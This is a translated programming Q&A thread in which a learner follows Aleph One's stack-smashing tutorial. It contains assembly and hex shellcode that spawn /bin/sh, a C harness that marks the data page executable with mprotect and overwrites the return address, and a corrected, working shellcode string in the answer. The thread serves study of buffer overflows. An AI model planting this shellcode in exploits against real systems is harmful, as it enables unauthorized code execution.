2013-05-08 30 views
0

我试图执行smashing the stack for fun and profit by Aleph中给出的代码来学习缓冲区溢出攻击的基本知识。用于产生shell的十六进制代码实现

机架构:Ubuntu的12.10 64位

方案GCC

到目前为止,我已成功地产卵使用汇编指令的外壳采用-m32标志编译。下一步是将这些指令转换为十六进制代码,在那里我遇到了这个问题。 产生外壳的汇编代码:

void main() { 
     __asm__(
    "Start:" 
    "jmp CallCode\n\t" 
    "CallPop:"      
    "popl %esi\n\t" 
    "movl %esi,0x8(%esp)\n\t"   
    "xorl %eax,%eax\n\t"     
    "movb %al,0x7(%esp)\n\t"  
    "movl %eax,0xc(%esp)\n\t"   
    "movb $0xb,%al\n\t"     
    "movl %esi,%ebx\n\t"     
    "leal 0x8(%esp),%ecx\n\t"   
    "leal 0xc(%esp),%edx\n\t"   
    "int $0x80\n\t"      
    "xorl %ebx,%ebx\n\t"     
    "movl %ebx,%eax\n\t"     
    "inc %eax\n\t"      
    "int $0x80\n\t" 
    "CallCode:"     
    "call CallPop\n\t"      
    ".string \"/bin/sh\"\n\t"    

); }

相应的十六进制代码:

#include <sys/mman.h> 
    #include<stdio.h> 

    #define PAGE_SIZE 4096U 

    char shellcode[]=       "\xeb\x24\x5e\x89\x74\x24\x08\x31\xc0\x88\x44\x24\x07\x89\x44\x24\x0c\xb0" 
     "\x0b\x89\xf3\x8d\x4c\x24\x08\x8d\x54\x24\x0c\xcd" 
     "\x80\x31\x89\xd8\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; 


    void test_shellcode() { 

     int *ret; 

// The data section is non-executable 
// Change protection bits for the page containing our shellcode 

     mprotect((void *)((unsigned int)shellcode & ~(PAGE_SIZE - 1)), 2 * PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC); 

      ret = (int*)((char *)&ret + 16); 
      (*ret) = (int)shellcode; 
    } 

    int main() { 
     test_shellcode(); 
     return 0; 
    } 

使用GDB调试分析的有点使我的结果:

(gdb) run 
    Starting program: /home/peps/CCPP/Hello/testsc3 

    Program received signal SIGILL, Illegal instruction. 
    0x0804a067 in shellcode() 
    (gdb) x/s 0x0804a067 
    0x804a067 <shellcode+39>: "\377\377\377/bin/sh" 

应用断点后,我认为问题出在什么地方十六进制代码,我一直无法弄清楚。另外,我似乎并不了解这里的非法指令的背景。

任何帮助,将不胜感激。

+0

'gdb'能够拆卸机器代码(例如,与'dis'或'X/i') – 2013-05-08 12:17:41

+0

我已经使用拆机命令公平的次数,实际上它生成的汇编代码已经被使用第一个代码,并且在寻找返回地址方面也非常有用。但是如何利用它来查找十六进制代码中的问题,我在这里没有想法。 – Peps0791 2013-05-08 12:25:34

回答

3

你在shellcode中犯了一些错误。

char shellcode[] = 
"\xeb\x24\x5e\x89\x74\x24\x08\x31" 
"\xc0\x88\x44\x24\x07\x89\x44\x24" 
"\x0c\xb0\x0b\x89\xf3\x8d\x4c\x24" 
"\x08\x8d\x54\x24\x0c\xcd\x80\x31" 
"\xdb\x89\xd8\x40\xcd\x80\xe8\xd7" 
"\xff\xff\xff/bin/sh"; 
+0

它的工作!非常感谢!!这真是一个愚蠢的愚蠢的错误!我的错!! – Peps0791 2013-05-08 16:13:55